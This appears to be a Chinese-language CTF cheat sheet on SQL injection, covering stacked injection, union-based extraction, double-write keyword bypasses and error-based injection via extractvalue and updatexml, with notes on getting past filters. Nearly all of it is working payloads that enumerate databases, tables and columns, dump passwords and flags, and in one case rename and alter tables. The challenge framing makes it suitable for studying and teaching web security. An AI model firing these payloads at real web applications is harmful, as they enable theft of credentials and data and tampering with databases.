SQL注入

一.堆叠注入

1.知识点

(1)表名为数字时,要用反引号包起来查询。
(2)查看全部数据库名

show databases
SELECT group_concat(SCHEMA_NAME) FROM information_schema.schemata;

2.实例

(1)带有过滤的普通堆叠注入

1' or 1=1 #

1' order by 1 # 

1' union select 1,2#

0'; show databases; #

0'; show tables; #

0'; show columns from words; #

0'; show columns from `1919810931114514`; #

换表名和字段名:

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

16进制:

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

handler:

1'; handler `1919810931114514` open as `a`; handler `a` read next;#

(2)猜测后端语句的堆叠注入

1;show databases;

1;show tables;

解法1

输入的内容为*,1

内置的sql语句为"select".post[‘query’]."||flag from Flag";

如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容
解法2

输入的内容为1;set sql_mode=pipes_as_concat;select 1

其中set sql_mode=pipes_as_concat的作用是将||的作用由or变为拼接字符串

二.显错注入

1.知识

(1)过滤掉了空格,用()进行绕过,用^来连接函数,形成异或
(2)

2.实例

(1)POST

'or 1=1 -- qwe

'union select 1,2,3 -- qwe

'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe

'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'l0ve1ysq1' -- qwe

'union select 1,2,group_concat(id,username,password) from l0ve1ysq1 -- qwe

(2)POST-双写绕过

关键的字符都进行了过滤

'oorr 1=1 -- qwe

'oorr 1=1 oorrder bbyy 3-- qwe

'uunionnion sselectelect 1,2,3 -- qwe

'ununionion seselectlect 1,2,database() -- qwe

'ununionion seselectlect 1,2,group_concat(schema_name)frfromom (infoorrmation_schema.schemata) -- qwe

'ununionion seselectlect 1,2,group_concat(table_name) frfromom (infoorrmation_schema.tables) whwhereere table_schema="ctf" -- qwe

'ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag" -- qwe

'ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) -- qwe

(3)GET-过滤

Ⅰextravalue

①bp抓包进行fuzz测试一下

可以看到union和and都被过滤掉了,联合查询没了,那就尝试报错注入了,用updatexml()函数或extravalue()函数都行

注入过程中发现还过滤掉了空格,用()进行绕过,用^来连接函数,形成异或

?username=11&password=1'^extractvalue(1,concat(0x7e,(select(database()))))%23

username=11&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))))%23

username=11&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23

username=44&password=1'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23

看到了flag,但是是不全的。。。
extractvalue函数一次只能查询32位长度,这里可以用right()查右边剩下的半部分

username=44&password=1'^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23

Ⅱupdatexml

username=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1

username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1

username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=1

username=admin'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=1

username=admin'or(updatexml(1,concat(0x7e,(select(left(password,25))from(H4rDsq1)),0x7e),1))%23&password=1

 username=admin'or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))%23&password=1

要到check.php那个界面在url中加入上面的语句

你可能感兴趣的:(sql,数据库)